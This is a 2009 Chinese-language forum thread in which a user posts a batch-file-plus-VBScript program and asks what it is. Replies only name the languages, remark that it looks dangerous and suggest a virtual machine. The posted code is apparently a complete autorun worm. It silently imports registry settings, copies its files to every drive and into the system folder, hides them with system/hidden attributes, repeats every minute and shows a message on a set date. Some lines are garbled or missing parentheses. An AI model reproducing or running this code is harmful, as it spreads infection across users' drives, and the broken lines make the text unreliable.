|
查看: 1170|回复: 8
|
有谁知道这是什么 coding ~
[复制链接]
|
|
|
有谁知道这是什么 coding ??
@echo off
rem autorun·ç±©
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
pen
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
:end
rem autorun·ç±©
on error resume next
Set WshShell =CreateObject("WScript.Shell"
if Year(Date)=2030 and Month(Date)=6 and Day(Date)=30 then
a=WshShell.Run("autorun.bat Over" ,0,True)
Set Of = CreateObject("Scripting.FileSystemObject"
Set fc = Of.OpenTextFile("C:\autorun.txt", 1)
mt = fc.ReadAll
fc.Close
if mt<>"" then msgbox decrypt(mt)
end if
if Year(Date)>2030 or Month(Date)>100 then
else
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject"
set dir = Of.GetSpecialFolder(1)
Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\autorun.vbs" then
isdir=true
else
a=WshShell.Run("autorun.bat Open" ,0,False)
isdir=false
end if
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:" Then
a=WshShell.Run("autorun.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\autorun.*",d&"\",True
else
Of.CopyFile "autorun.*",d&"\",True
end if
a=WshShell.Run("autorun.bat + "&d ,0,True)
End If
next
if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("autorun.bat - "&dir ,0,True)
Of.CopyFile "autorun.*",dir&"\",True
a=WshShell.Run("autorun.bat + "&dir ,0,True)
End if
next
End if
function decrypt(dcode)
dim texts
dim i
for i=1 to len(dcode)-4
x=i mod 5
texts=texts & chr(asc(mid(dcode,i,1))-x)
next
decrypt=texts
end function |
|
|
|
|
|
|
|
|
|
|
发表于 1-6-2009 09:06 PM
|
显示全部楼层
不懂是叫Dos命令符嗎
通常是拿來寫.bat的file的 |
|
|
|
|
|
|
|
|
|
|
发表于 2-6-2009 12:46 PM
|
显示全部楼层
|
Batch Programming (DOS command) |
|
|
|
|
|
|
|
|
|
|
发表于 2-6-2009 01:27 PM
|
显示全部楼层
前半段是DOS Batch file command,后半段是VB Script。。。
不过内容很让人不安呢,又搞 registry,又搞 script,又搞 File System 的,有很危险的味道。 |
|
|
|
|
|
|
|
|
|
|
发表于 2-6-2009 01:27 PM
|
显示全部楼层
前半段是DOS Batch file command,后半段是VB Script。。。
不过内容很让人不安呢,又搞 registry,又搞 script,又搞 File System 的,有很危险的味道。 |
|
|
|
|
|
|
|
|
|
|
发表于 2-6-2009 02:15 PM
|
显示全部楼层
|
|
|
|
|
|
|
|
|
|

楼主 |
发表于 4-6-2009 01:33 AM
|
显示全部楼层
|
|
|
|
|
|
|
|
|
|
发表于 4-6-2009 09:10 PM
|
显示全部楼层
|
|
|
|
|
|
|
|
|
|
发表于 5-6-2009 08:50 PM
|
显示全部楼层
要玩建议用virtualbox来玩^^
比较安全^^ |
|
|
|
|
|
|
|
|
| |
本周最热论坛帖子
|